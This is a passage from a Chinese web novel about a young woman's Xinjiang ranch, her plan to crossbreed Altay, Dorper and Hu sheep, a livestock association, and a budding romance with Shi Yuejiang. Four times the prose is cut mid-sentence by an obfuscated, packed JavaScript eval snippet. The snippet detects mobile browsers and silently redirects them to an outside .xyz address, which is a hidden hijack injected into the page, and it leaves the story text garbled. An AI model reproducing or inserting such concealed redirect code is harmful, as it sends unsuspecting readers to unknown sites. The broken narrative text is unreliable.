一个冬天她至少好好看完了二三十本专业书，笔记都做了好几本，这是她觉得比较好的一种杂交培育方式，即阿勒泰羊、杜泊羊和湖羊的三元杂交培育。 杜泊羊的话，这是一种原产于南非的肉用绵羊，适应干旱气候。这种羊的肌肉发达，耐粗饲，抗病能力强，生长速度也还行，最重要的是肉质还很好。脂肪分布均匀，瘦肉率高，口感也很细嫩，算是国际上肉质比较受认可的羊肉了。 姚新泉目前盯上的市场除了新疆本地的之外，其实比起内地市场，她甚至更重视中亚这边。 为什么？因为新疆太大了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583162|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出国都比去内地近！ 如今交通又没有那么发达，肉类往内地运也很费事儿，成本也高。这成本一高，人家还不如买本地的。 但是如果出口就不一样了，交通成本绝对是会考虑在肉本身的价格内的。 出口的话那肯定还是要对肉的品质有一些要求，所以姚新泉才想着哪怕阿勒泰羊的口感其实不错，但还是有改良的空间。 至于到底用谁的母本谁的父本这个再说，毕竟杜泊羊也不知道搞不搞得到呢，希望能找到杜泊的种公吧！ 怕姚新泉失望影响了两人的合作，马强咬牙，“这样，妹子你先别着急，我去找人问问，那杜泊羊我确实是没招了，湖羊那边我去帮你打听打听！” 姚新泉自然是说了一篮子的好话才挂了电话，挂了电话她也没了睡意，“系统，你那边有杜泊羊的获取渠道吗？” “没有哦！本系统是救助系统，因为只对方圆一百公里范围内的单子进行派单，所以系统提供的其他有效信息也只是方圆一百公里范围内呢！” 行吧，姚新泉有些失望但也能理解，而且她本身也不可能将所有希望寄托在系统身上。 目前比较靠谱的话还是得去找找那位教授，杜泊羊这个品种都是从他那些材料里知道的，想来也许有渠道？ 只是两人非亲非故，姚晓刚的关系都隔了好几道弯儿，贸然找过去让人家帮忙确实也不太合适吧！ 目前她的最优选择是用湖羊的母羊与杜泊羊的公羊进行第一代杂交，让这一代杜湖杂交羊兼具多胎跟增重快、肉质好的特点。 之后再用这一代的杜湖杂交羊与本地阿勒泰羊进行再次杂交，产生三元杂交的后代，期望的是能够综合多胎、增重快以及口感好、抗逆性等特点。 当然了，是期望能有。 姚新泉还挺看中抗逆性这个特点的，要是抗逆性不行，这好不容易培育出来的新品种没两代又回去了，或者往不好的方向去发展，那就亏大了。 阿勒泰羊作为本地羊，它们是经过长期自然选育保留了抗逆相关基因的，在杂交中都有可能发挥作用，作为杂交父本更好，能提升后代的环境适应能力。虽然说目前她没打算用杂交羊再去培育，但还是很看重这项特质的！ 所以她还得找一下优质的阿勒泰种公，这个活儿她没找系统，在喂完牛羊后又去了萨哈列家。 其实本地买牛羊不是一定要到羊贩子家里买的，本地也有大巴扎，就是集市，也是本地的牲畜交易市场，她爸妈之前就是在那边买的。 只是巴扎里的牲畜质量参差不齐，自己想挑的话还得东家买两只、西家买五只，太费时间了。自己一个人经营这个牧场，又有很多想法，哪有时间天天泡在巴扎上买牛羊？而且还不是天天都开！ 另外，看中了还得自己安排运输，太麻烦了！ 萨哈列为人不错，收羊的眼光也不错，从他那边买哪怕比巴扎上贵一些，但是省事儿啊！ 而且如果长期合作的话肯定还是会有一些价格优势的，所以她还是去找萨哈列。 45. 第 45 章 马强挂了电话之后烦躁地揉了揉头发，马芳芳见状无语得不行，“你那头上本来都没两根毛儿了，可别再折腾你那头发了，咱俩现在站出去看着都不像同辈儿！” 马强翻了个白眼，“你知道个屁！” “行，我不知道屁！谁能有你了解屁啊！你这没联系上人家的时候发愁，这费尽心思好不容易联系上了怎么更愁了？” “人家给我出了个难题啊！现在是我求着人家想买东西，人家能拿捏我，我肯定得想办法给她办成这事儿，但哪有那么好解决呢？” “她让你干什么？”马芳芳好奇了起来，咋就难成这样？ “她想搞点湖羊回来养殖，我到哪给她搞去？”马强生意做得不算特别大，基本上也就在北疆范围内，南疆都很少去，更别说内地那边了！ 距离远不说，吃个饭也费劲儿，到处也找不到清真馆子，他才不乐意去呢！ 可这湖羊就是人家内地的，他缩在北疆到哪找去？ “那你认识的人中有谁有这个路子吗？” 马强叹气，“我这不是正在想呢吗？我估计找私人老板可能难啊！” “你不找私人老板你找谁？难不成你还找人家国家单位？谁理你啊？” 马强一愣，随后眼睛立马亮了起来，他搂住马芳芳便亲了一口，“你这次还真是猜对了！我有点事情要出去一趟，你自己在家吃饭吧！”说完便走了。 马芳芳切了一声继续看电视，她才懒得管他那些事情呢！ 马强提前打了个电话后就跑了一趟市里，白杨见到他笑着锤了他一下，“你啥事情急成这样？电话刚撂下就来了吧？” 马强把自己顺路带来的东西给他放下后寒暄了两句便说明了来意，“你记得之前带我去过的那个畜牧业协会不？” 白杨本来脸上带着笑，听了这话笑便淡了下去，“怎么，之前带你去你不愿意加入，现在怎么又提这个？” 北疆的畜牧业协会才成立没有多久，算是起步阶段，目前主要的会员也就是政府相关部门领导、行业专家以及一些国企的代表。 但如今市面上养殖户不少，而且也有渐多的趋势，他们这个协会想要发展起来必不可少是要加入许多的养殖户代表的。 往大了说，这是对畜牧业市场的改革、技术的推广以及行业协调方面都会产生深远影响，往小了说，一个协会想发展怎么能没有活动经费呢？经费从哪儿来？还不是会员的会费？难不成还指望财政拨款？ 白杨是一家国营兽药企业的员工，他的工作内容就包括了对接行业协会，听到他们在拉新所以他便想到了自己的发小马强，还带着马强去参观过协会。 他想着马强虽然不算是养殖户，但是到底每年手上也要经手那么多的牛羊，也确实该加入协会的。 谁知道他竟然没加入！ 虽然说这事儿对他也没什么影响，但是就是觉得好心被人当成驴肝肺了！ 马强此时也听不好意思的，但是当时他是真觉得他没必要加入啊？不说别的，一年会费500块呢！有这500块干啥不行？ 他尴尬地笑了笑，“嗐，我这不是当时目光短浅吗？你知道我的，我跟你可不一样，你是正儿八经上学出来的，我就是个野路子是个粗人，我懂什么啊？那我想着我就收羊卖羊，这协会啥样跟我有啥关系？到时候万一再强制我参加什么活动，多麻烦啊！” 白杨哼了一声心里还是不大痛快，但到底已经过去那么久了，他也早都想开了，见他这低三下四的模样倒真起了几分好奇心，“那你这怎么又突然觉得协会又用了？” 马强这人就像他自己说的是个粗人，说话做事都不喜欢兜圈子，所以便把情况大概说了一下，“她是我现在一个特别大的客户，我想跟她把这个销售渠道稳定下来，所以人家提了这个想法，虽然说没要求我必须办成，但我想这不就是个诚意吗？总得想想办法啊！” “你说咱们新疆这么大，那么多羊不够她折腾的，她还要往内地去选！那湖羊我也就听过一耳朵，长什么样子我都没见过，我上哪儿给她找去？所以这不就想到你了！” “你跟我可不一样，你是正经国企员工，你人脉多广啊！我记得之前你跟我介绍协会的时候还说了咱这是地方协会，上面还有全国的协会是吗？那咱们各个地方的协会有联系吗？能不能通过他们那边找到合适的种羊呢？” 白杨被他捧得挺高兴的，不过还是道，“这个我只能牵个线，她是办了营业执照的吧？她如果不入协会，那人家肯定不可能用自己的资源帮她找羊，入了协会之后估计还有点儿戏！” “办了办了，那我叫她过来？你看你啥时候有时间还是我们自己去？” 白杨想着送佛送到西，“这样，你明天下午跟她一起过来，我过会儿跟你说要带什么东西，然后带她去入会，之后的事情让她自己跟协会反映，让协会牵头就成！” 马强高声应下，心里美得不行，“那兄弟过会儿咱们出去喝两杯？” 白杨笑着锤了他一拳也没拒绝，马强乐颠颠地出去给姚新泉打了电话，姚新泉没想到原来本地还有这样一个协会，便多问了两句，“是官方性质的还是民间组织啊！” 如今社会上有好多乱七八糟的民间组织都是以各种名义骗钱的，当然也不乏是正经单位，但是那就得细细分辨了。 “具体是民间组织还是政府牵头主导的我就不太清楚了，不过农业、畜牧业的相关部门有参加，好多大学也有参加，我那个朋友是国企的，他不至于犯这种错误！” 姚新泉放心了，赶忙谢了两句，马强笑道，“口头上的道谢就算了，如果真让你养成了，回头可得卖给我啊！” “我都答应了的事情就不会反悔，你这么帮我的忙，我肯定都记在心里的！” 马强心满意足地放下了电话，哼着小曲儿就回了白杨那边，等着跟他约饭。 姚新泉心里也高兴，她赶忙又下山了一趟去了马合木提江家，跟他们夫妻说好了明天得去喂一下家里的牲畜，怀孕母牛的加餐也跟他们说好后又去了县里。 等到了县里姚新泉深深叹了口气，这雪地真是要把人折腾死！ 她找了几家印刷店，最终找了一个能加急明天早晨就出的店印了一波名片，上面把姚家牧场以及自己的姓名电话写了上去，比较简单，但一目了然。 约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586903|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好明天早晨一大早来拿之后姚新泉又买了点儿鸡蛋这才回去，简直不敢相信，家里的狗狗军团们喜欢吃鸡蛋很正常，但是皮皮也非常喜欢吃！ 可是考虑到如果大量喂食有可能会打乱皮皮本身的膳食平衡所以就算皮皮真的很喜欢吃，姚新泉最多每周就给她一两个切碎的熟鸡蛋。 之前家里两个大人还有那么多动物，鸡蛋消耗得真的很快，必须得进货了。 湖羊有了点眉目，杜泊羊还是个问题啊！ 其实除了杜泊羊以外，还有一些品种她也挺动心的，比如说英国的萨福克羊、荷兰的特克塞尔羊等等，但是目前姚新泉更看好的还是之前提到的三元杂交培育，之后的再看吧！ 姚新泉不知道的是那边终于到了北京被司机接回家里的师月江见到他哥的第一句话是，“哥，你那边有渠道能从南非引进一批杜泊羊吗？目前需要一二十只种公羊，之后能定期引进一些吗？” 师星野？ 弟弟你要不要听一听你半年多没见到哥哥之后第一句话说的是什么？ 兄弟情呢？难道我就不值得你的一句关心吗？ 他张嘴，“家里在南非有生意，引进羊不成问题，只是有些手续免疫之类的得办好了。” 他能怎么办，当然是原谅他啊！ 师星野拉着弟弟转着看了一圈，心里满意了几分，脸上的笑意也浓了些，“不错不错，脸上肉都多了些。都说新疆那边又是风沙大又是天寒地冻的，没想到倒还挺养人！” 师月江笑了笑，养人的不是地方，是人。 “你跟那个小姑娘相处了几个月，没有冒犯人家吧？”师星野小心打量着弟弟的神情，他这次回来没带莱尼，那莱尼肯定还是在姚家放着。如果弟弟跟她相处得不愉快，肯定不可能还麻烦人家。 那相处得愉快得话，到底是什么模式的呢？朋友？亦或者别的？ 师月江一下就听出师星野想问什么了，他抿了抿唇，神情有些茫然，“哥，我有点弄不清楚我对她是什么感情，我从离开她的那一秒开始，满脑子都是她。” 师星野…… 他不得不承认自己被他酸到了。 “弟啊，我觉得有些事情还是得你自己去感受，你们聊的来吗？” “很聊得来，我们有无数的共同话题。” “你跟她单独相处会心跳加速吗？” “会，我摸着脉搏也感受过。” “那你对她有占有欲吗？如果在你离开的这段时间她跟其他男人在一起了，或者最终没有跟你在一起，你会痛苦吗？” “我会，我很确定我会！” 看着弟弟的眼神师星野笑了，“弟啊，你要让我说，那我肯定是觉得你是喜欢她或者是爱她的，但是你们两个的事情只能你们自己去想明白。不过有一点我很确定，姚小姐是一位很独立的女孩子，她就算爱你，也不可能为了你来北京。我也很了解你，你如果爱她，你就不会忍心让她为你放弃一切，所以你做好留在新疆的准备了吗？” 某一个瞬间师星野是希望他说不的，可是当弟弟很坚定地说出那句我愿意的时候师星野又释然了，长大了的弟弟总有自己的生活的。 46. 第 46 章 “咱家在南非那边的生意你还没了解过吧？”师星野拉着他坐下又让保姆给他倒了杯牛奶。 “都是你去上学之后的事情了，考虑到那边经济发展情况，所以咱俩在那边的生意主要还是围绕着一些轻工业产品，包括纺织品、电池之类的小家电以及五金产品之类的，看着不起眼，但是都是那边需求最旺盛的行业。未来世界经济发展得会非常迅速，国内市场、国外市场都不能放过。如今大陆这边还有很大的发展余地，南非那边按我的想法是至少先把市场份额占上，所以那边发展的也还可以。” “公司在大陆这边的业务主要是服装、食品、电子产品、车辆制造，你也大了，现在退伍了家里的生意你就算不接手那也得心里有个数。” 师月江觉得不大对，有些疑惑道，“咱俩？” 师星野笑着点头，看向弟弟的目光很是温和，“家里公司确实是他们打下来的基础，但是在公司最需要发展，急需扩张的时候，他们俩丢下了公司丢下了我们兄弟俩套现出去潇洒，现在咱们还能过上这样的日子靠的是咱们兄弟，不是他们！既然他们抛下了公司，那就不要再想着回来了。” 在两人父母离开之后师星野夙兴夜寐终于将公司撑了起来，那两公婆并不觉得儿子小小一个能做到什么地步，所以在大儿子提出要收购二人手上的股份时，两人毫不迟疑地同意了，只是最终还是留了个心眼儿，两人共同持有将近10%的股份。 “这些年公司因为扩张多次增资，他们曾经的那10%的股份早就被稀释了，如今公司最大的股东就是咱们兄弟，公司上市稀释了股份之后，咱们兄弟俩也还各占30%，怎么不算咱们的公司的？” 他这些年辛辛苦苦不是为了给别人做嫁衣的！那两公婆不是喜欢享受吗？如今手上的那点儿股份的分红已经足够二人吃穿不愁了，别的就不用想了！ 师月江忍不住苦笑，“哥，公司是你撑起来的，所有决策都是你做得，我跟这家公司的联系说起来也只是你弟弟而已，我这股份拿得烫手啊！” “你是我弟弟还不够吗？”师星野靠在沙发上笑着看向对方，“月江，我不想去回忆咱们当初的苦日子，但那时候如果不是你救我，我已经死在那条河里了！别说什么咱们是兄弟你就该救我的话？他们救我了吗？”师星野冷笑一声，当初一家子被下放除了本身出生的问题以外，主要还是因为老头子自己管不住自己的嘴，说了两句抱怨的话，这不就完蛋？ “反正你记着，我的东西就是你的东西，不许跟我争了！” 见师星野瞪眼，师月江再次叹气，“还是搞个代持吧！我不参与公司的管理表面上拿着30%的股份也没太大作用，反而影响你在公司跟在股东会的权利。可以暂时保留我5%的股权，剩下的25%由你代持，或者都转给你也行，这样你手上就有55%的股份了，过半数，做什么都方便！” 师星野想了想倒没拒绝，还颇为感慨地拍了拍师月江的肩膀，“弟弟长大了啊，都会给哥哥分担了！” 师月江无奈一笑，自己都多大了还长大？ 两人又聊了一会儿公司的事情后又说回了姚新泉，“那什么羊的事情我尽快去找人给你办好，把相关检疫手续什么的都给你弄好，你看看还需要我做什么？” 师月江有些不大好意思，“其他的我还是看新泉的意见吧，她有自己的主张，也有自己的想法，未来牧场的发展方向肯定是要尊重她的意见。” 师星野啧啧两声，眼中满是调侃，“你瞧瞧你这模样，还搞不清楚是不是爱情呢！我看这再清楚不过了！你小子要想就赶紧想，我让人查了姚小姐，确实是很优秀的一位女孩子，若是让人捷足先登你就后悔去吧！” 师月江心里一紧，只要想到未来会有别的男人站在她身边，他们会通吃同住，会一起做饭，会一起聊天，会一起给小动物做衣服，会一起度过每一个日日夜夜，师月江便觉得胸口喘不过气来。 曾经在上战场之前，师月江也以为自己无所不能，觉得自己生来不凡，能够拯救许多人，是个大英雄。 可是后来他才知道，其实自己一点用都没有，他阻止不了战争，阻止不了死亡，阻止不了分离。 他从学校从部队学会了许多技能，可是他已经不知道该怎么活着了。 师星野见他神色不对赶忙拍了拍他，“臭小子你别自己吓自己！你既然有这个心那就别跟人家断了联系，你做了什么都要告诉人家，再好好问问，人家女孩子想要什么，咱们这到底是首都，你也能帮着搜罗一下。” 说着说着师星野都叹气，“你也别想了，想个屁啊想！你这模样要不是真喜欢上人家女孩儿了，你大哥把头拧下来给你当球踢！” “大哥”，师月江有些羞愧，“可是”。 “没什么可是的，月江，哥哥不需要你陪，哥哥只要知道你过得好就行”，师星野没忍住从冰箱里翻出来了两瓶啤酒，喝了一口压下了心里的情绪，“你当初去参军那是你的梦想，所以我不拦你。现在你一直说想，我猜你不敢直面这份感情很大一部分原因也是不想把我一个人丢在北京对吗？” 师星野收起了身上的所有温和，看上去凛冽而不可侵犯，“师月江，你小瞧我了，这个公司或者说我的事业从不是我的枷锁，而是我师星野的大名响彻整个世界的第一个踏板而已。我不渴望家庭生活，我也不需要每天下班回来你都乖乖地在家等我，你有你自己的人生。” “你的日子我过不惯，我的生活你也过不来，但只要知道你好好儿的我就安心了。” “如果你跟姚小姐真的能走到一起，将来有了孩子，孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591948|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子也愿意接手我这一摊子，你们再把孩子送过来，不也很好？” 师月江沉默了许久最终还是点了点头，“哥，我听你的。” “不是听我的”，师星野纠正他，“你从前不是这样的性格，你要听你自己的，曾经的事情让你跌到了泥潭里，我没有逼着你爬起来，但你既然现在想往上爬，那你就必须爬起来，擦干净身上的污秽，好好过你的人生！师月江，你做得到吗？” 师月江深吸一口气抬起了头，虽然眼眶还是红的，但师星野看出了他的眼神和从前一样了，或者说从新疆回来后便已经有了从前的两分模样。 “这才是我弟弟嘛！”师星野大笑两声用力拍了拍他的肩膀，“来，咱们商量商量公司入驻零售行业的事情，先在北京跟新疆那边开商场怎么样？还有八七年的时候深圳政府搞了个公开招标出让住房用地的先例，我当时在那边掺了一脚。九零年的时候上海又出台了房改方案，已经开始使用公积金了，这时候入行房地产不算晚。新疆那边比较特殊，我也了解过在税收方面是有一些优惠政策的。而且城市化率都不到30%，算是比较低的了。但是那边一样有不少的厂子，人家同样有住房需求。虽然说分房政策还是没有取消，但是在我看来就是迟早的事情。” 师月江也点头，“分房这些政策对职工好，但是对于企业来说负担太大了。或者说不只是分房，国营单位的一些福利政策某种意义上对企业来说都是累赘。现在私营企业遍地开花，人家厂子只用发工资，国营厂又得发工资，又得分房，又得拨款在职工医疗、教育等各方面，开支太大了，利润自然不如私营单位。更别说国营单位本身内部就有许多弊病，估计没两年分房就彻底不用指望了。” 师星野很是赞同，“分不了房，人家职工的住房需求怎么满足？这就是商品化住房的市场啊！如果说自己不好干，这不是还能跟政府或者单位合作建房吗？” 师月江顺着他的思路继续下去，“不止是建房，我在新疆转了一大圈，那边的基础设施确实不大行，咱们家之前捐了路，但是只有路也是不够的，如果搭上了政府的车，那咱们可不只建居民楼这么简单了！” “不过问题也有很多，那边经济基础相对薄弱，老百姓的购买力有限。以及会不会有政策波动，还有那边毕竟太远了，交通不发达，电力等配套设施也不足，建设的成本会高很多的。” 师星野没忍住用力揉了揉师月江的头发，“臭小子天天说对这些不感兴趣，我听你讲得不是蛮好的？” “我有开发那边的意向，你如果成了新疆的女婿，户籍什么的都迁到当地去，对咱们公司未来的发展肯定有好处！到时候你跟姚小姐在各自的行业发光发热，我坐在北京数钱，多好！” 师月江翻了个白眼，还是做梦比较快一点。 47. 第 47 章 师星野很忙，跟他聊完之后就去应酬了，师月江坐在沙发上纠结了一会儿还是拨通了那个号码。 “喂。” 姚新泉晚上没什么事正窝在沙发上翻看小说呢，电话铃声突然响起吓了她一跳。 “喂。” 姚新泉的声音顺着电话传过来后已经有一点变形了，但是师月江还是觉得自己似乎就在她身边一样，目光都柔和了许多。 “新泉，我是师月江，我已经到家了。” 姚新泉挑了挑眉，她轻笑一声，“顺利到达就好，这么晚了找我有事吗？” 师月江目光暗了一下，他缓缓吐出一口气说明来意，“我哥在南非那边有点生意，也有认识的人，所以我托他去南非给你引进杜泊羊。我这边问题不大，主要是你那边，引进国外的动物，得要向自治区农业部那边申请，需要证明咱们引进的杜泊羊符合国内需求并且没有生态风险，这块儿你了解过吗？” 姚新泉眼睛瞬间便亮了起来，“你有引进的渠道？”她当然了解过相关的手续啊！ 如果连这些都没了解的话，她还引进个鬼哦！ 杜泊羊不属于限制类品种，不需要申请进口配额，拿到农业部的审批后，因为她是私营单位，没办法获得进出口权。这也是她为什么想要搭上乌洽会的车的原因！ 现在私营经济虽然已经得到了一定的认可，但是进出口权还是基本需要通过国有外贸公司进行代理，或者与有资质的企业进行合作。 这一点她考虑过了，也已经给农大的教授写过信说明此事，对方也有回信，表示如果她能自己找到引进的渠道，农大会出面引进该批杜泊羊，但是作为条件，姚新泉需得接受农大的学生去实习，姚新泉自然是高兴得不行。 对方也提了，若她实在没办法找到杜泊羊的引进渠道，农大也可以出面联系，但是引进的杜泊羊不会安置到她的牧场里。 毕竟姚新泉的牧场虽然不小，但是这是私营啊！ 按对方的意思，他可以尝试着帮忙申请购买一两头。 姚新泉觉得有一点抠搜…… 她是打算购买最起码100头湖羊母羊的，用杜泊公羊来配种。自然情况下一头杜泊公羊可以配20-30头母羊，如果条件允许，姚新泉还是希望能尽量多两头公羊。 毕竟如果公羊数量太少，就很难避免近亲的问题，那在选育过程中肯定又会增加许多不必要的麻烦。 所以她还是希望能多引进几只，哪怕自己白养着慢慢培育呢？ 所以这相关的政策、手续她都了解过一些，就差羊了。 知道她心里有数师月江便放心了，“那农业部的审批、外贸的手续由你那边办理，南非这边的检疫程序我这边去办理，到时候入境了还得隔离一个月到一个半月。海关申报也由我这边出面去处理，等这批羊到位后我回去找你。” 姚新泉沉默了一会儿后最终还是轻声道，“好”。 师月江心里一喜，加快了语速，声音中是听的出来的焦急，“那你等我，我到时候有话要跟你说。” 姚新泉嗯了一声，两人谁都没有挂电话。 过了一会儿姚新泉才开始说起自己这边引进湖羊的进程，师月江听了之后问，“需要我做什么吗？或者我去当地帮你问问？” “暂时先不需要，我先通过协会了解一下，如果能确定稳定的引进途径也挺好的。毕竟繁育这个事情优缺点都很明显，万一杂交之后稳定性不好，或者需要回交来稳定某种特性，那不免还是要继续引进的”，这也是她没有考虑用杜泊羊冻精，而是直接引进公羊的原因。总不能隔三差五进一批吧？还不够烦呢！ “而且按我目前的推测来看，三元杂交羊可能还是会作为终端商品羊去出售，选育的话还得再看看。” 师月江明白了，两人又聊了一会儿后才挂了电话，看着通话市场姚新泉挑了挑眉，32分钟？好家伙！ 师月江带来的好消息让她晚上睡得很香，嘴角都是带着笑的。 第二天一早马合木提江夫妻来得很早，姚新泉洗漱的时候两人带着他们儿子已经差不多喂好了。 除了点点之外的其他小动物基本都习惯了他们的存在，只有点点，他现在大了一些，不像从前一样扯着嗓子乱叫，但是这小子开始搞埋伏了！ 万幸得是他也没真扑，只是全程盯着人，生怕人家拿了他家一根牧草，看得姚新泉头疼。 这小家伙还没正儿八经上岗就下雪了，虽然冬天也有训练他，但是总觉得他现在不太像一只牧羊犬，反正后面再看吧！ 姚新泉刚下山就看到马强站在摩托车边上搓着手哈气，见到她来之后赶忙招呼她上车，“走走走，我们到车站去，把摩托车停在那儿，我们坐车去！” 等两人辗转到了市里白杨单位的时候已经12点多了，白杨早退了一会儿又请了一下午的假，三人吃了个午饭就去了畜牧业协会。 看得出来白杨确实跟这边人都挺熟悉的，他带着两人在协会里转了一圈，指着墙上的照片给俩人介绍，“你看这张，这是咱们自治区党委书记在自治区协会刚成立的时候去参加活动拍的照。” “这张是农大牵头的一场会议，参会人员不仅包括了政府相关工作人员，还有跟畜牧业相关的国企职工代表。” “这张是咱们市协会刚成立的时候□□跟兵团那边代表过来剪彩的照片。” 像是怕姚新泉担心协会的正规性一样，工作人员尽挑那种有领导在的照片介绍。 姚新泉心下好笑，但确实是放心了不少。 “同志我想问一下，那如果说我这边想引进一批外地的羊，协会可以帮我牵头吗？只要牵头就可以，具体怎么谈，合同怎么签我们肯定是自己协商。” “你是引进做什么呢？繁育还是育肥出售呢？”工作人员问道，如果只是为了育肥，协会应该是不会牵头的。 姚新泉便将自己大概的想法说了一下，工作人员眼睛立马就亮了，她拉着姚新泉就去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596625|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会长办公室，“咱们协会本身就有繁育良种的工作内容，你说的那羊还有国外进口的，不如你去跟会长聊聊？” 马强跟白杨都有点懵，但还是老实跟在人家身后径直去了会长办公室。 会长赵强见到赵媛媛没好气地瞪了她一眼，这臭丫头当是在家里呢！带着人就往自己办公室闯？ “爸”，赵媛媛吐了吐舌头，神情中满是无辜，“会长，这位同志想加入咱们的会员，但是她想了解一下咱们能不能协助她引进湖羊，她是打算做阿勒泰羊、湖羊和杜泊羊的三元杂交呢！” 赵强一愣，随后便有些惊喜，这不是要什么来什么吗？ 他们协会成立了也有快一年了，目前确实没什么实绩，这说出去也不是太好听。 如果眼前的小姑娘真的能繁育的话，那自己自然是不会拒绝的！ “同志请坐”，他示意赵媛媛给几人倒水，“我听赵媛媛的意思你是要做三元杂交，这可不是个小工作，除了技术方面的问题，还有杜泊羊的种羊引进问题，都不是很好解决啊？” 倒也不是他瞧不上姚新泉一个年轻女孩儿，主要是国内目前确实是没有杜泊羊的。 早几年引进过，但是因为各种原因实验没有进行下去，引进的杜泊种公也过了配种的适龄。 这两年也没人主动牵头重新拾起这个实验，她一个小姑娘，到哪里去搞杜泊种公？ 还有技术问题，本地没有农业大学，新疆最出名的农大是在乌鲁木齐，以如今的交通情况去一趟来回就得差不多一个星期，耽搁不起啊！ 至于本地的相关技术员，不是他赵强眼光高看不上他们，主要那些真的有点儿本事的，要么就是去了大城市，要么就是进了各大种羊场、种牛场之类的去做繁育，基层是真的没有好的技术员。 与其指望那些技术员，倒还不如指望不知道从哪儿得到的这种杂交设想的姚新泉呢！ “会长提到的两个问题目前已经都有了进展，杜泊种公的引进途径我已经找好了，等手续办完，农大那边的刘教授会帮我牵头由农大出面引进，再由我的牧场与农大签协议。而农大的相关教授和学生也会在我牧场上实习，技术问题也就解决了。所以目前最大的问题反而是湖羊的种羊。如果咱们协会没办法解决的话，那我可能还得去一趟湖州周边。” 她不想自己去不是说因为担心路途太远，主要问题还是交通或者说是运输的问题。 她去了，找到种羊，签了合同付了钱然后呢？怎么运回来呢？铁路？总不能用卡车拉吧？ 距离近也就算了，将近5000公里的路途，回来之后羊还能剩一半吗？ 而铁路运输的话还得专门跟货运部门申请牲畜专用车厢，办理相关检疫手续。 她一个外地人跑到那边去人生地不熟，办什么都容易被人卡脖子。 但如果是这种半官方的协会牵头就不一样了啊！ 所以除非真的没办法，不然她不是特别想自己去买。 48. 第 48 章 虽然赵强本来也没有小觑姚新泉，但是现在不免还是将她的能量更提高了几分，这两件事哪个都不好解决，可人家就是解决了！ 无非就是两种情况，一种是她家里人有关系，一种是她自己本事大，不管哪种都不能得罪。 “这样”，赵强沉吟了一会儿，“我之前有一次开会的时候见过浙江省协会的会长，我先联系他一下，看看他那边是什么意思，是通过省协会对接还是让咱们直接跟湖州那边对接。” 姚新泉心里一喜，“那真的太感谢会长你了，回头请你吃饭！” 说完又问，“那不知道咱们协会的入会有没有什么条件呢？我觉得咱们协会确实能为养殖户还有行业的发展都提供很多便利。我们这些私营的养殖户哪个不是单打独斗的，如果能有这么一个平台多交流学习，我相信对咱们本地的畜牧业发展肯定能带来深远的影响！” 赵家父女两人脸上的笑意都深了一些，“赵媛媛，你带姚同志去办一下入会手续”，说完又转头对姚新泉道，“我先联系下那边看看。” 马强见事情有苗头了心里也高兴，“姚老板，那我先在这预祝你培育新种成功！不管是新种还是你牧场之前的，只要你想卖，你第一个联系我，我肯定给您市场最高价！” 姚新泉拍了拍他的肩膀示意自己知道了，他跟白杨两个没跟上去凑热闹，先走了。 赵媛媛带着姚新泉去了另一位工作人员处，在查验过她的营业执照、身份信息之后，又收了一年500块的会费，姚新泉的牧场正式加入了本地的畜牧业行业协会。 赵媛媛对姚新泉很好奇，全程跟着她到处走，“姚同志，我是真没见到几个像你这样的年轻人来搞养殖的，你怎么会做这一行？” 不是说凡事一定得分个高低贵贱出来，只是养殖这种跟牲畜接触的行业总是让人觉得不该是年轻小姑娘踏足的地方。 姚新泉笑了笑，“谁也没规定干养殖的就一定得是四五十岁的老汉吧？咱们协会不也一再强调要科学养殖吗？我讲句不好听的，你让养了一辈子牲畜的养殖户去学一些新的方法新的理论，人家未必会认同，人家自有一套自己习惯了的模式。我们就不一样了，仰赖前辈们开创的盛世有了读书的条件，比人家多读了几本书，多认了几个字，接收新事物的速度总是快一些的。” 